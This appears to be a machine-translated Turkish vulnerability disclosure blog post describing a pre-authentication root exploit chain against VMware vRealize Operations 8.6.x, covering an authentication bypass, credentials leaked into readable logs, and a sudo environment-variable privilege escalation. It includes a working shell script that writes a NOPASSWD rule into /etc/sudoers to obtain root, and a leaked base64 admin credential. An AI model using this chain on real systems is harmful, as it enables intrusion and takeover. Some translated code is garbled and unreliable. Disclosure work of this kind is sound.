27 Mayıs’ta, VMWare’de vRealize Operations Management Suite (vROps) cihazını etkileyen bir dizi güvenlik açığının olduğunu bildirdim. Bu blog yazısında bulduğum bazı güvenlik açıklarını, bu tür güvenlik açıklarını bulmanın ardındaki motivasyonu ve şirketlerin kendilerini nasıl koruyabileceklerini tartışacağım. Araştırma projesinin sonucu, görünüşte zayıf güvenlik açıklarını kullanan, önceden kimliği doğrulanmış bir uzaktan kök istismar zinciriyle sonuçlanıyor. VMware bir öneri yayınladı ve bu güvenlik açıklarını VMSA-2022-0022’de yamaladı.
Motivasyon
Bu proje, mükemmel blog yazısı tarafından motive edildi. Egolar VMware’de hataları yakalamak: Carbon Black Cloud Workload Appliance ve vRealize Operations Manager başlıklı yazı yazdı. Egor, yüksek ayrıcalıklı kimlik bilgilerini sızdırmak için önceden kimliği doğrulanmış bir SSRF kullandı ve ardından uzaktan kod yürütme elde etmek için bunu rastgele bir dosya yükleme güvenlik açığıyla zincirledi. admin
.
Her zaman olduğu gibi, daha önce diğer güvenlik araştırmacıları tarafından denetlenmiş bir hedefe yönelik yüksek etkili web güvenlik açıklarını bulmak gerçek bir zorluk teşkil ediyor.
Test Edilen Sürümler
Test sırasındaki güvenlik açığı bulunan sürüm 8.6.3.19682901
en sonuncusuydu ve kullanılarak konuşlandırıldı vRealize-Operations-Manager-Appliance-8.6.3.19682901_OVF10.ova
(sha1: 4637b6385db4fbee6b1150605087197f8d03ba00) dosyası. Sürüm notlarına göre 28 Nisan 2022’de yayınlandı. Bu, bulut için tasarlanmış bir Photon OS Linux dağıtımıydı.
Ayrıca daha eski bir sürümü de test ettim – 8.6.2.19081814
kullanarak vRealize-Operations-Manager-Appliance-8.6.2.19081814_OVF10.ova
(sha1: 0363f4304e4661dde0607a3d22b4fb149d8a10a4) dosyasını inceleyerek güvenlik açıklarının bu sürümde de bulunduğunu doğruladı. Yazdığım son istismar her iki sürümde de çalışıyor ve aradaki herhangi bir şey üzerinde de çalışması gerekiyor!
MainPortalFilter kullanıcı arayüzü Kimlik Doğrulaması Atlaması (CVE-2022-31675)
- CVSS: 5,6 (/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L)
- Tavsiye: SRC-2022-0017
İlk güvenlik açığı com.vmware.vcops.ui.util.MainPortalFilter
sınıf:
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
// ...
String servletPath = request.getServletPath().toLowerCase();
UserContext userContext = UserContextVariable.get();
// ...
if (servletPath != null && servletPath.toLowerCase().startsWith("/contentpack/dashboard_dump/")) {
response.setStatus(400);
} else {
String token1 = request.getParameter("t"); // 1
boolean isSaasModeUser;
boolean isResourcePath;
boolean ssoRequested;
try {
if (token1 != null) { // 2
isSaasModeUser = UserContextVariable.isAnonymousUser();
DashboardLink dashboardLink = DashboardShareAction.getDashboardPublicLink(token1, (String)null); // 3
if (userContext == null || dashboardLink == null || (isSaasModeUser || !userContext.getUserId().equals(dashboardLink.getUserId())) && (!isSaasModeUser || !userContext.getUserKey().equals(dashboardLink.getUserId()))) {
//...
if (dashboardLink != null) { // 4
if (isResourcePath) {
response.sendRedirect("dashboardViewer.action");
filterChain.doFilter(request, servletResponse);
return;
}
if (ssoRequested) {
this.doSessionResolve(request, response);
} else {
session.setAttribute("token1", token1);
session.setAttribute("allowExternalAccess", true);
response.setHeader("Set-Cookie", "JSESSIONID=" + session.getId() + "; Path=/ui; Secure; HttpOnly; SameSite=None");
response.sendRedirect("dashboardViewer.action?mainAction=dr");
filterChain.doFilter(request, servletResponse); // 5
}
// ...
Şu tarihte: [1] kod bir şey arıyor t
gelen istekteki parametre ve eğer bulunursa [2] kod bir bulmaya çalışır DashboardLink
örneğin şu kodla [3]. O zaman eğer geçerli DashboardLink
şurada bulundu [4] kod şuraya ulaşır: doFilter
en [5]. Bu, geçerli bir kontrol paneli bağlantı kimliğine sahip bir saldırganın, kimlik doğrulamayı tamamen atlamasına olanak tanır. /ui/
payandaların ön ucu.
Bir yönetici paylaşmak üzere bir kontrol paneli bağlantısı oluşturduğunda Cassandra veritabanında bir giriş oluşturulur:
root@photon-machine [ ~ ]# /usr/lib/vmware-vcops/cassandra/apache-cassandra-3.11.11/bin/cqlsh.py --ssl --cqlshrc /usr/lib/vmware-vcops/user/conf/cassandra/cqlshrc
Connected to VROps Cluster at 127.0.0.1:9042.
[cqlsh 5.0.1 | Cassandra 3.11.11 | CQL spec 3.4.4 | Native protocol v4]
Use HELP for help.
vcops_user@cqlsh> select key from globalpersistence.dashboardpubliclinks;
key
--------------------------
vcgh5fgjhs_::_ns3d5yt5vk
(1 row)
vcops_user@cqlsh>
Tasarım gereği ve hatta kontrol paneli bağlantıları oluşturmak ve paylaşmak yaygındır. beklenen bir sayfaya yerleştirilecek:
Bağlantıya geçerli bir oturum olmadan eriştikten sonra ilgili kontrol panelini görüntüleyebiliriz:
Burada dikkat edilmesi gereken ilginç şey, 443 numaralı bağlantı noktasının sözde açığa çıkacak çünkü kontrol paneli bağlantıları başka nasıl paylaşılabilir?
Sömürü
Sunucu 302 yönlendirmesiyle yanıt verdiği için bu güvenlik açığını kullanarak doğrudan veri sızdırmak mümkün değildir. İlk başta, verileri değiştirmek için yalnızca uç noktalara gelen istekleri yanıtlayabildiğim tavuk ve yumurta sorunuyla karşı karşıya olduğumu düşündüm, ancak yönlendirme nedeniyle onları geri okuyamadığım için CSRF belirteçlerini kullanamadım! Aman tanrım! Ancak dikkatli inceleme sonrasında bir kullanıcı oluşturabileceğimi fark ettim ve ihmal etmek the secureToken
CSRF belirteci. Bunun nedeni çağrının doFilter
çağrıdan çok önce 120. hattan vuruldu checkSecureToken
345 numaralı hatta!
Bu güvenlik açığının ek bir avantajı da, bir saldırganın, bir kişiyi kötü amaçlı bir web sitesine bağlayarak uygulamanın yönetici kullanıcısına arka kapı açabilmesidir. Ancak bunları bir araya getirirsek, paylaşılan bir kontrol paneli bağlantım varsa, etkileşime girmeden yönetici kullanıcıyla uygulamaya arka kapı açabilirim. Oluşturulan kullanıcı aşağıdakilerle sınırlıdır: /ui/
Ve /suite-api/
arayüzler ancak erişmek istedim /admin/
çünkü bu bileşende SSH erişimini etkinleştirerek sonsuza kadar uzaktan kod yürütme olanağı mevcuttur.
Görünüşe göre başka bir güvenlik açığını daha avlamamız gerekecek!
SupportLogAction Bilgi Açıklaması (CVE-2022-31674)
- CVSS: 6,5 (/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
- Tavsiye: SRC-2022-0019
İçinde com.vmware.vcops.ui.action.SupportLogsAction
class’ta aşağıdaki girişi buluyoruz:
if (this.mainAction.equals("getLogFileContents")) { // 1
lduId = this.request.getParameter("instanceId");
instanceId = this.request.getParameter("fileName"); // 2
boolean allowedFileName = WebUtils.isAllowedFileName(instanceId); // 3
if (!allowedFileName) {
this.writeJsonOutput("{status: 'can not complete request, invalid file type or pattern'}");
return null;
} else {
lduId = this.request.getParameter("lduId");
logTypeStr = this.request.getParameter("logType");
LogType logType = LogType.fromString(logTypeStr);
linePosition = this.request.getParameter("linePosition").isEmpty() ? -1 : Integer.parseInt(this.request.getParameter("linePosition"));
int lineLimit = this.request.getParameter("lineLimit").isEmpty() ? 1000 : Integer.parseInt(this.request.getParameter("lineLimit"));
if (!lduId.isEmpty() && !instanceId.isEmpty() && !lduId.isEmpty() && logType != null && lineLimit >= 0) {
ResultDto<LogFileContentsDTO> fileContent = this.dataRetriever.getSupportLogFileContents(lduId, logType, lduId, instanceId, linePosition, lineLimit); // 4
// ...
} else {
this.writeJsonOutput("{status: 'can not request, missing some params'}");
return null;
}
}
}
Şu tarihte: [1] kod şunları kontrol eder: mainAction
değeri olacak parametre getLogFileContents
. sonra [2] kod alır fileName
parametre ve [3] kod çağrıları isAllowedFileName
üzerinde. Bu benim için bir hediyeydi:
public static Boolean isAllowedFileName(String fileName) {
if (!fileName.matches(".*\\.(?i)(log|txt|out|current)(\\.\\d+)?$")) {
return false;
} else {
String nonEncodedFileName = fileName.replaceAll("(?i)(%2e|%252e)", ".");
nonEncodedFileName = nonEncodedFileName.replaceAll("(?i)(%2f|%252f|%5c|%255c|\\\\)", "https://srcincite.io/");
return nonEncodedFileName.contains("../") ? false : true;
}
}
Esasen kod herhangi bir günlük dosyasını arıyor /storage/log/vcops/log/
dizin.
Sömürü
Sorun, Pak yöneticisinin hassas şifreleri günlük dosyalarına yazmasıyla ilgilidir:
root@photon-machine [ /storage/log/vcops/log/pakManager ]# grep -lir "bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ="
APUAT-86018696447/apply_system_update_stderr.log
APUAT-85018176777/apply_system_update_stderr.log
vcopsPakManager.root.post_apply_system_update.log.1
Örneğin, APUAT-86018696447/apply_system_update_stderr.log
görüyoruz:
DEBUG - Calling GET: /casa/security/ping, headers: {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-vRealizeOps-API-use-unsupported': 'true', 'Authorization': 'Basic bWFpbnRlbmFuY2VBZG1pbjplMmhPYk01Y0YwWWdRNFhNU0lWeTNFemQ='}
Bu, meşru bir Pak dosyası yüklendiğinde ve bir yükleme tetiklendiğinde meydana gelir. İlk başta güvenlik açığının bu tür hassas verileri günlüğe kaydetmeye yönelik Pak yöneticisinde olduğu görülüyor, ancak gerçek güvenlik açığı daha düşük ayrıcalıklı bir kullanıcıya maruz kalmadadır. VMWare, Pak yönetici arayüzünü /ui/
ve gizlilik yoluyla biraz güvenlik uygulamaya çalıştı!
Bu güvenlik açığını kullanarak, sızdırmayı başardım. maintenanceAdmin
kullanıcı için bir parola sıfırlama işlemini tetikleyin ve admin
kullanıcı çünkü SSH aracılığıyla uzaktan giriş yapabilen kullanıcı:
root@photon-machine [ ~ ]$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
admin:x:1000:1003::/home/admin:/bin/bash
postgres:x:1001:100::/var/vmware/vpostgres/11:/bin/bash
İlk başta kontrol ettiğimde bu noktada root olarak yeterli ayrıcalıklara sahip olduğumu düşündüm, ancak öyle olmadığı ortaya çıktı.
admin@photon-machine [ ~ ]$ id
uid=1000(admin) gid=1003(admin) groups=1003(admin),0(root),25(apache),28(wheel)
admin@photon-machine [ ~ ]$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
Bu da daha fazla böcek avlama ve zincirleme anlamına geliyor!
createdSupportBundle VCOPS_BASE Ayrıcalık Yükseltmesi (CVE-2022-31672)
- CVSS: 7,2 (/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
- Tavsiye: SRC-2022-0020
İçinde /etc/sudoers
dosyasında aşağıdaki girişi buluyoruz:
admin ALL = NOPASSWD: /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py *
Bu, düşük ayrıcalıklı kullanıcıların komut dosyasını kullanarak root olarak çalıştırmasına olanak tanır. sudo
. İçinde generateSupportBundle.py
bulduğumuz dosya:
try:
VCOPS_BASE = os.environ['VCOPS_BASE'] # 1
except KeyError as ex:
# In cloudvm, this could happen - for example, if caller like cis
# has not called the /etc/profile.d/vcops.sh.
filePath = os.path.dirname(os.path.realpath( __file__ ))
# Since this file is located at $VCOPS_BASE/tools, we can use relative path
VCOPS_BASE = os.path.abspath(filePath + "/..")
VCOPS_BASE=VCOPS_BASE.replace('\\', "https://srcincite.io/")
commonLib = VCOPS_BASE + '/install/'
sys.path.append(commonLib)
Kod büyük ölçüde şunlara bağlıdır: VCOPS_BASE
ortam değişkeni [1]. Betiği çalıştırırken aşağıdaki kod yürütülür:
ds = []
if options.get("action") is None:
options["action"] = 'create'
#...
if options.get("action") == 'create':
runGssTroubleShootingScript() # 2
runGssTroubleShootingScript
eylem sağlanmadıysa yöntem çağrılır [2].
def runGssTroubleShootingScript():
gss_troubleshooting_script_path = os.path.join(find_vcops_base_path(), "..", "vmware-vcopssuite", "utilities", "bin") # 3
try:
output = subprocess.Popen("{0}/gss_troubleshooting.sh".format(gss_troubleshooting_script_path))
except subprocess.CalledProcessError as e:
print ('Failed to run gss troubleshooting script, error code {0}:'.format(e.returncode))
Şu tarihte: [3]bu yöntem çalıştırılabilir bir betiği root olarak çağırmaya çalışır ve find_vcops_base_path
betiğin yol konumunu almak için:
def find_vcops_base_path():
"""Finds the VCOPS_BASE environment variable.
@return: the VCOPS_BASE path or an exception if it cannot be found.
"""
if 'VCOPS_BASE' in os.environ:
vcops_base_path = os.environ['VCOPS_BASE'] # 4
elif 'ALIVE_BASE' in os.environ:
vcops_base_path = os.environ['ALIVE_BASE']
# ...
return vcops_base_path # 5
Şu tarihte: [4] Ve [5] eğer VCOPS_BASE
ortam değişkeni ayarlandığında, bunu döndürecektir.
Sömürü
Bir saldırganın yapması gereken tek şey, ayrıcalıkları yükseltmek için betiği çağırmadan önce ortam değişkenini ayarlamaktır.
#!/bin/sh
mkdir -p poc
mkdir -p vmware-vcopssuite/utilities/bin/
cat <<EOT > vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
#!/bin/sh
echo "admin ALL = NOPASSWD: ALL" >> /etc/sudoers
EOT
chmod 755 vmware-vcopssuite/utilities/bin/gss_troubleshooting.sh
sudo VCOPS_BASE=poc /usr/lib/vmware-vcopssuite/python/bin/python /usr/lib/vmware-vcopssuite/utilities/bin/generateSupportBundle.py test > /dev/null 2>&1
sudo rm -rf poc
sudo rm -rf vmware-vcopssuite
sudo sh
sudo sed -i '$ d' /etc/sudoers
Kavram Kanıtı
Bu istismarın adı DashOverride’dır ve buradan indirebilirsiniz.
Çözüm
3 güvenlik açığına ilişkin CVSS puanlarının her biri orta/yüksek olarak derecelendirilmiştir ve kendi başlarına değerlendirildiğinde oldukça zayıftırlar. Ancak bunların birbirine zincirlenmesinin etkisi önemlidir ve tehdit modelinize bağlı olarak, kimlik doğrulamayı atlama senaryosu, kontrol paneli bağlantılarının kuruluşunuz içinde paylaşılması veya çevrede açığa çıkması durumunda gerçek bir tehdit oluşturabilir.
Bazılarınız sorabilir, peki bunların herhangi biri için ödül aldınız mı? Kısa cevap burada… HAYIR.